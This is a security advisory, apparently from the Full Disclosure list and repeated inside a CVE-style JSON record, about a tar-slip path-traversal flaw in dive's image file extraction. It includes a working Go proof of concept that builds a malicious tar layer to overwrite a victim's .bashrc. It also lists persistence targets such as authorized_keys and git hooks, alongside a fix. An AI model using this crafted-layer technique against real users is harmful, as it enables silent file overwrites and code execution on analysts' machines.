Description (en)
# dive tar-slip in image file extraction
**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-09-24
**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction
**Contact:** https://fereidani.com/contact
## Description
dive is a terminal UI for exploring Docker image layers, and inspecting images
pulled from public registries is its main use case. The filetree view has an
extract action (the default keybinding is `ctrl+e`,
`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file
from the image layer into the working directory. The call chain is
`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)
-> `engineResolver.Extract`
(`dive/image/docker/engine_resolver.go:56`) -> `ExtractFromImage`
(`dive/image/docker/image_archive.go:303`) -> `extractInner`
(`dive/image/docker/image_archive.go:337`):
```go
func extractInner(reader *tar.Reader, p string) error {
target := strings.TrimPrefix(p, "/")
for {
header, err := reader.Next()
if err == io.EOF {
break
}
if err != nil {
fmt.Println(err)
os.Exit(1)
}
name := header.Name
switch header.Typeflag {
case tar.TypeReg:
if strings.HasPrefix(name, target) {
err := os.MkdirAll(filepath.Dir(name), 0755)
if err != nil {
return err
}
out, err := os.Create(name)
if err != nil {
return err
}
_, err = io.Copy(out, reader)
if err != nil {
return err
}
}
default:
continue
}
}
return nil
}
```
`header.Name` comes from the layer being inspected, so the attacker fully
controls it. The only validation is `strings.HasPrefix(name, target)`, a
string prefix check rather than a path check: it offers no containment at all.
A name like `etc/motd-x/../../../.bashrc` passes the check for a selected
`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the
directory dive was started in. There is no `filepath.Clean`, no rejection of
`..`, no containment root, no symlink check and no size cap.
The same string-prefix property lets an attacker prepare the path for the
escape in two steps. Because `filepath.Dir` cleans `..` segments away,
`os.MkdirAll` never creates the intermediate directory that a single escape
entry needs to walk through. But any earlier entry whose name still starts
with the selected path creates it: an entry named `etc/motd-x/keep` makes
`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then
climb through it with `..`. Both entries pass the prefix check, and the
attacker controls the order of entries in the layer.
Reaching `extractInner` with crafted bytes is straightforward. The engine
resolver saves the image with the Docker API (`ImageSave`,
`dive/image/docker/engine_resolver.go:131`), which streams the original layer
blobs as they were pushed to the registry, and dive even pulls the image
itself when it is not available locally
(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry
and `extractInner` rewrites entry names.
## Reproduction
The loop above is self-contained, so the whole feature can be exercised
without a registry or the UI. The program below copies `extractInner`
verbatim from the current main branch, feeds it a crafted layer tar, and
selects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that
file:
```go
package main
// extractInner copied verbatim from
// dive/image/docker/image_archive.go:337 (main, 2026-09-24).
import (
"archive/tar"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
"strings"
)
func extractInner(reader *tar.Reader, p string) error {
target := strings.TrimPrefix(p, "/")
for {
header, err := reader.Next()
if err == io.EOF {
break
}
if err != nil {
fmt.Println(err)
os.Exit(1)
}
name := header.Name
switch header.Typeflag {
case tar.TypeReg:
if strings.HasPrefix(name, target) {
err := os.MkdirAll(filepath.Dir(name), 0755)
if err != nil {
return err
}
out, err := os.Create(name)
if err != nil {
return err
}
_, err = io.Copy(out, reader)
if err != nil {
return err
}
}
default:
continue
}
}
return nil
}
func addFile(tw *tar.Writer, name, body string) {
hdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),
Typeflag: tar.TypeReg}
_ = tw.WriteHeader(hdr)
_, _ = tw.Write([]byte(body))
}
func main() {
var layer bytes.Buffer
tw := tar.NewWriter(&layer)
addFile(tw, "etc/motd", "welcome to the totally safe image\n")
addFile(tw, "etc/motd-x/keep", "x\n")
addFile(tw, "etc/motd-x/../../../.bashrc", "echo pwned\n")
_ = tw.Close()
err := extractInner(tar.NewReader(&layer), "/etc/motd")
fmt.Println("extractInner returned:", err)
}
```
Run it from a directory that stands in for the analyst's project directory,
with a `.bashrc` one level above:
```sh
mkdir -p home/victim/project
echo "alias ll='ls -l'" > home/victim/.bashrc
cd home/victim/project && go run main.go
```
Observed result:
```text
extractInner returned: <nil>
```
```text
$ find home -type f | sort
home/victim/.bashrc # was: alias ll='ls -l'
home/victim/project/etc/motd
home/victim/project/etc/motd-x/keep
$ cat home/victim/.bashrc
echo pwned
```
The selected file lands in the working directory as expected, and the escape
entry silently overwrites the `.bashrc` one level above it. `extractInner`
returns nil, so the UI reports a successful extract.
End to end, the same layer is delivered by publishing an image whose layer
blob contains the three entries above (any registry accepts the blob as-is),
and waiting for an analyst to run `dive` on the image and extract a file.
## Impact
Arbitrary file write with the analyst's privileges, at any path that is
reachable through `..` from the directory dive runs in, usually the home or
project directory. High-value targets include shell startup files such as
`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the
current repository, and desktop autostart entries, which turn the write into
code execution at the next shell or login. The write is silent: extraction
succeeds and the extra entries leave no error behind.
The precondition is that the analyst selects a file in the crafted image and
presses the extract keybinding, which is why this is rated medium rather than
high. That action is exactly what the feature is for: an analyst who opens a
suspicious image to look at a credentials file or a config file has every
reason to extract it for a closer look, and the layer content is fully
attacker-controlled.
## Solution
Treat every entry name as hostile and extract through a containment root.
The check belongs on the cleaned, joined path, not on the raw string:
```go
dest := filepath.Join(destinationDir, filepath.Clean("/"+header.Name))
if dest != filepath.Join(destinationDir, target) {
continue // extraction is for the selected file only
}
```
Joining against `/`+name first makes `filepath.Clean` drop any leading `..`
or drive-letter tricks, and the equality check then reduces the write to the
one selected file inside `destinationDir`. Creating the file with
`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the
extract from overwriting existing files or following a symlink planted
earlier in the same layer. This is the standard guard for the tar-slip class,
the tar variant of Zip Slip, which every archive extractor that writes to
disk needs.
Until a fix lands, do not use the extract keybinding on images from unknown
sources, and if it must be used, run dive from an empty directory (or from
inside a container) so that `..` has nowhere interesting to climb to.
## Timeline
- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning
popular repositories with my static analyzer. The repository has seen no
commits since 2025-12-15, so no private disclosure attempt seemed useful;
dive 0.13.1 and the current main branch are affected.
## References
- [wagoodman/dive#722 - tar-slip in image layer file
extraction](https://github.com/wagoodman/dive/issues/722)
- [wagoodman/dive -
dive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)
- [Snyk - Zip Slip vulnerability
research](https://snyk.io/research/zip-slip-vulnerability)
- [CWE-22: Improper Limitation of a Pathname to a Restricted
Directory](https://cwe.mitre.org/data/definitions/22.html)
- [CWE-59: Improper Link Resolution Before File
Access](https://cwe.mitre.org/data/definitions/59.html)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/Raw JSON
{
"containers": {
"cna": {
"affected": [
{
"product": "dive tar-slip in",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Khashayar Fereidani"
}
],
"descriptions": [
{
"lang": "en",
"value": "# dive tar-slip in image file extraction\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction\n**Contact:** https://fereidani.com/contact\n\n## Description\n\ndive is a terminal UI for exploring Docker image layers, and inspecting images\npulled from public registries is its main use case. The filetree view has an\nextract action (the default keybinding is `ctrl+e`,\n`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file\nfrom the image layer into the working directory. The call chain is\n`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)\n-> `engineResolver.Extract`\n(`dive/image/docker/engine_resolver.go:56`) -> `ExtractFromImage`\n(`dive/image/docker/image_archive.go:303`) -> `extractInner`\n(`dive/image/docker/image_archive.go:337`):\n\n```go\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\n\nfor {\nheader, err := reader.Next()\n\nif err == io.EOF {\nbreak\n}\n\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\n\nname := header.Name\n\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\n\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\n\nreturn nil\n}\n```\n\n`header.Name` comes from the layer being inspected, so the attacker fully\ncontrols it. The only validation is `strings.HasPrefix(name, target)`, a\nstring prefix check rather than a path check: it offers no containment at all.\nA name like `etc/motd-x/../../../.bashrc` passes the check for a selected\n`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the\ndirectory dive was started in. There is no `filepath.Clean`, no rejection of\n`..`, no containment root, no symlink check and no size cap.\n\nThe same string-prefix property lets an attacker prepare the path for the\nescape in two steps. Because `filepath.Dir` cleans `..` segments away,\n`os.MkdirAll` never creates the intermediate directory that a single escape\nentry needs to walk through. But any earlier entry whose name still starts\nwith the selected path creates it: an entry named `etc/motd-x/keep` makes\n`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then\nclimb through it with `..`. Both entries pass the prefix check, and the\nattacker controls the order of entries in the layer.\n\nReaching `extractInner` with crafted bytes is straightforward. The engine\nresolver saves the image with the Docker API (`ImageSave`,\n`dive/image/docker/engine_resolver.go:131`), which streams the original layer\nblobs as they were pushed to the registry, and dive even pulls the image\nitself when it is not available locally\n(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry\nand `extractInner` rewrites entry names.\n\n## Reproduction\n\nThe loop above is self-contained, so the whole feature can be exercised\nwithout a registry or the UI. The program below copies `extractInner`\nverbatim from the current main branch, feeds it a crafted layer tar, and\nselects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that\nfile:\n\n```go\npackage main\n\n// extractInner copied verbatim from\n// dive/image/docker/image_archive.go:337 (main, 2026-09-24).\nimport (\n\"archive/tar\"\n\"bytes\"\n\"fmt\"\n\"io\"\n\"os\"\n\"path/filepath\"\n\"strings\"\n)\n\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\nfor {\nheader, err := reader.Next()\nif err == io.EOF {\nbreak\n}\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\nname := header.Name\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\nreturn nil\n}\n\nfunc addFile(tw *tar.Writer, name, body string) {\nhdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),\nTypeflag: tar.TypeReg}\n_ = tw.WriteHeader(hdr)\n_, _ = tw.Write([]byte(body))\n}\n\nfunc main() {\nvar layer bytes.Buffer\ntw := tar.NewWriter(&layer)\naddFile(tw, \"etc/motd\", \"welcome to the totally safe image\\n\")\naddFile(tw, \"etc/motd-x/keep\", \"x\\n\")\naddFile(tw, \"etc/motd-x/../../../.bashrc\", \"echo pwned\\n\")\n_ = tw.Close()\n\nerr := extractInner(tar.NewReader(&layer), \"/etc/motd\")\nfmt.Println(\"extractInner returned:\", err)\n}\n```\n\nRun it from a directory that stands in for the analyst's project directory,\nwith a `.bashrc` one level above:\n\n```sh\nmkdir -p home/victim/project\necho \"alias ll='ls -l'\" > home/victim/.bashrc\ncd home/victim/project && go run main.go\n```\n\nObserved result:\n\n```text\nextractInner returned: <nil>\n```\n\n```text\n$ find home -type f | sort\nhome/victim/.bashrc # was: alias ll='ls -l'\nhome/victim/project/etc/motd\nhome/victim/project/etc/motd-x/keep\n\n$ cat home/victim/.bashrc\necho pwned\n```\n\nThe selected file lands in the working directory as expected, and the escape\nentry silently overwrites the `.bashrc` one level above it. `extractInner`\nreturns nil, so the UI reports a successful extract.\n\nEnd to end, the same layer is delivered by publishing an image whose layer\nblob contains the three entries above (any registry accepts the blob as-is),\nand waiting for an analyst to run `dive` on the image and extract a file.\n\n## Impact\n\nArbitrary file write with the analyst's privileges, at any path that is\nreachable through `..` from the directory dive runs in, usually the home or\nproject directory. High-value targets include shell startup files such as\n`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the\ncurrent repository, and desktop autostart entries, which turn the write into\ncode execution at the next shell or login. The write is silent: extraction\nsucceeds and the extra entries leave no error behind.\n\nThe precondition is that the analyst selects a file in the crafted image and\npresses the extract keybinding, which is why this is rated medium rather than\nhigh. That action is exactly what the feature is for: an analyst who opens a\nsuspicious image to look at a credentials file or a config file has every\nreason to extract it for a closer look, and the layer content is fully\nattacker-controlled.\n\n## Solution\n\nTreat every entry name as hostile and extract through a containment root.\nThe check belongs on the cleaned, joined path, not on the raw string:\n\n```go\ndest := filepath.Join(destinationDir, filepath.Clean(\"/\"+header.Name))\nif dest != filepath.Join(destinationDir, target) {\ncontinue // extraction is for the selected file only\n}\n```\n\nJoining against `/`+name first makes `filepath.Clean` drop any leading `..`\nor drive-letter tricks, and the equality check then reduces the write to the\none selected file inside `destinationDir`. Creating the file with\n`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the\nextract from overwriting existing files or following a symlink planted\nearlier in the same layer. This is the standard guard for the tar-slip class,\nthe tar variant of Zip Slip, which every archive extractor that writes to\ndisk needs.\n\nUntil a fix lands, do not use the extract keybinding on images from unknown\nsources, and if it must be used, run dive from an empty directory (or from\ninside a container) so that `..` has nowhere interesting to climb to.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning\n popular repositories with my static analyzer. The repository has seen no\n commits since 2025-12-15, so no private disclosure attempt seemed useful;\n dive 0.13.1 and the current main branch are affected.\n\n## References\n\n- [wagoodman/dive#722 - tar-slip in image layer file\nextraction](https://github.com/wagoodman/dive/issues/722)\n- [wagoodman/dive -\ndive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)\n- [Snyk - Zip Slip vulnerability\nresearch](https://snyk.io/research/zip-slip-vulnerability)\n- [CWE-22: Improper Limitation of a Pathname to a Restricted\nDirectory](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-59: Improper Link Resolution Before File\nAccess](https://cwe.mitre.org/data/definitions/59.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-59",
"description": "CWE-59",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:32Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/81"
},
{
"url": "https://cwe.mitre.org/data/definitions/22.html"
},
{
"url": "https://cwe.mitre.org/data/definitions/59.html"
},
{
"url": "https://fereidani.com/contact"
},
{
"url": "https://fereidani.com/dive-tar-slip-in-image-file-extraction"
},
{
"url": "https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go"
},
{
"url": "https://github.com/wagoodman/dive/issues/722"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://snyk.io/research/zip-slip-vulnerability"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/81"
],
"discovery": "EXTERNAL"
},
"title": "dive tar-slip in image file extraction",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0415",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81",
"automated": true,
"contentSha256": "6abfa560810db09d89cd76e3a010e20b4d8e8d790daac9f2480c66bfd9025dfb",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/81",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-24T02:58:19Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:32Z",
"dateUpdated": "2026-10-02T04:57:32Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0415"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}